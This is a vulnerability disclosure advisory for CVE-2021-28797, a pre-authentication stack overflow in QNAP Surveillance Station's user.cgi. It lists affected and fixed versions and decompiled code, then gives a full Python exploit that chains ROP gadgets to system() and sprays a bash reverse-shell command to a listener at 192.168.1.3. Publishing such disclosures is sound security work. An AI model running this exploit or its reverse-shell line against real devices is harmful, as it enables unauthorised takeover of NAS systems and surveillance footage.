SSD Advisory – QNAP Pre-Auth CGI_Find_Parameter RCE

TL;DR

Find out how a memory corruption vulnerability can lead to a pre-auth remote code execution on QNAP QTS’s Surveillance Station plugin.

Vulnerability Summary

QNAP NAS with “Surveillance Station Local Display function can perform monitoring and playback by using an HDMI display to deliver live Full HD (1920×1080) video monitoring”.

Insecure use of user supplied data sent to the QNAP NAS device can be exploited to run arbitrary code by overflowing an internal buffer used by the Surveillance Station plugin.

CVE

CVE-2021-28797

Credit

An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

QNAP QTS Surveillance Station version 5.1.5.4.2

QNAP QTS Surveillance Station version 5.1.5.3.2

Vendor Response

“We fixed this vulnerability in the following versions:

Surveillance Station 5.1.5.4.3 (and later) for ARM CPU NAS (64bit OS) and x86 CPU NAS (64bit OS)

Surveillance Station 5.1.5.3.3 (and later) for ARM CPU NAS (32bit OS) and x86 CPU NAS (32bit OS)”

More details can be found here: https://www.qnap.com/zh-tw/security-advisory/qsa-21-07

Vulnerability Analysis

Due to lack of proper bound checking, it’s possible to overflow a stack buffer with a specially crafted HTTP request.

user.cgi is used to manage login session to Surveillance Station. but vulnerability is caused by using strcpy while receiving sid through CGI_Find_Parameter function. Also, the vulnerable function call is located in the sub_ACB0 (from ida) here is part of binary user.cgi:

 v2 = CGI\_Find\_Parameter(a1, "initdata");
 v3 = CGI\_Find\_Parameter(v1, "user");
 if ( v3 ) {
    v4 =\*(\_DWORD \*)(v3 +4);
    if ( !\*(\_BYTE \*)v4 || !strcmp(\*(constchar\*\*)(v3 +4), "guest") ) 
        goto LABEL\_34; 
    }
    else { 
        v4 =0; 
    } 

    v5 = CGI\_Find\_Parameter(v1, "pwd");
    if ( v5 ) 
        v6 =\*(char\*\*)(v5 +4);
    else v6 =0;

    v7 = CGI\_Find\_Parameter(v1, "sid");
    v8 = v7;

    if ( v7 ) {
        v9 =\*(constchar\*\*)(v7 +4);
        strcpy(&dest, v9);

The CGI_Find Parameter function is used to process a request in QNAP QTS.

Exploit

import requests
import threading
from struct import *

p = lambda x: pack("<L", x)

def run(session, data):
    res = [session.post("http://192.168.1.2:8080/cgi-bin/surveillance/apis/user.cgi", data) for i in range(5000)]

def main():
	with requests.Session() as s:
                payload = "A" * 3108
                payload += p(0x74a8eb8c) # pop {r0, r4, pc}
                payload += p(0x71154e28) # heap address
                payload += "BBBB"
                payload += p(0x74a636c4 + 1) # system
            
                data = {
		    "act" : "login",
		    "sid" : payload,
		    "slep" : "bash -i >& /dev/tcp/192.168.1.3/4321 0>&1;" * 0x5000 + "\x00" + "bash -i >& /dev/tcp/192.168.1.3/4321 0>&1;" * 0x5000,
                }

                for i in range(30):
                    t = threading.Thread(target=run, args=(s, data))
                    t.start()
                
                

if __name__ == '__main__':
	main()

Interested in Remote Code Execution? You may be interested in these:

Looking to submit a Remote Code Execution vulnerability?

Talk to us!